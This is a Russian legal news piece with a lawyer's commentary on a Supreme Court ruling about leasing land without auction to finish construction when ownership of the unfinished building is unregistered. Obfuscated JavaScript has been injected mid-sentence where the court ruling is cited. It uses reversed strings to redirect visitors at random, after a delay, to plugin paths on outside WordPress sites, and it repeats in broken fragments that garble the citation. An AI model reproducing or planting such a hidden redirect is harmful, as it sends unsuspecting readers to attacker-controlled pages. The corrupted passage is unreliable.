Комментарий Петра Мацкевича, адвоката Orchards, для Право.ru.
Верховный суд разъяснил, что владельцу земельного участка необязательно регистрировать право собственности на недострой, чтобы претендовать заключение договора аренды этого участка без торгов. Как следует из определения административной коллегии $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor_pdf.php?id=2149692″ target=»_blank»>ВС № 18-КАД22-27-К4, допустимы и другие доказательства того, что заявитель имеет отношение к незавершенному жилью.
В 2010 году администрация Центрального района Сочи предоставила гражданину земельный участок для жилищного строительства. В 2012-м он заключил трехлетний договор аренды этого участка, а в 2020-м обратился в департамент имущественных отношений Сочи с заявлением о предоставлении этого участка без торгов в аренду еще на три года, чтобы завершить строительство.
Департамент в этом отказал. Он сослался на то, что право собственности на объект незавершенного строительства за ним не зарегистрировано. Заявитель попытался оспорить отказ в суде, но все инстанции в этом отказали. Они также исходили из того, что предоставление земельного участка для завершения строительства жилья возможно только в случае, если право собственности на недостроенный объект зарегистрировано в Едином государственном реестре недвижимости.
Верховный суд указал, что это ошибка. Согласно п. 21 ст. 3 закона «О введении в действие Земельного кодекса РФ», если земельный участок для строительства предоставили в аренду до 1 марта 2015-го, то возможность однократно получить эту землю в аренду для завершения строительства регулирует не ст. 39.6 Земельного кодекса, на которую ссылались суды, а ст. 39.14–39.17.
ВС отменил решения нижестоящих инстанций, признал незаконным отказ департамента имущественных отношений Сочи и обязал его рассмотреть заявление повторно.
Петр Мацкевич, адвокат Orchards, оценил решение ВС РФ и его роль для практики по подобным делам:
В соответствии с положениями ст. 3 ФЗ от 25.10.2011 №137-ФЗ «О введении в действие Земельного кодекса РФ» условием для заключения договора аренды земельного участка на трехлетний срок без торгов является «собственность» на объект незавершенного строительства, и в совокупности с п. 2 ст. 8.1 ГК РФ, из этого должен следовать вывод, что только зарегистрированное право собственности на ОНС дает возможность заключить новый договор аренды без торгов. При этом складываются ситуации, когда лицо, осуществляющее строительство ИЖС не успевает зарегистрировать это право до даты окончания первоначального договора аренды.
В данном деле Верховный суд отказался от формального подхода и сделал допущение, что правом на заключение договора аренды без торгов может претендовать не только собственник объекта незавершенного строительства, то есть лицо, право которого зарегистрировано в реестре, но и то лицо, которое фактически осуществило строительство и могло зарегистрировать за собой такое право.
Занятый Верховным судом подход, конечно, основан на расширительном толковании закона, но направлен на защиту интересов граждан и их права на улучшение жилищных условий. Одновременно с этим такой подход снимает вопрос компенсации гражданам расходов на строительство в случае отказа в аренде, поскольку они фактически проинвестировали улучшение земельного участка.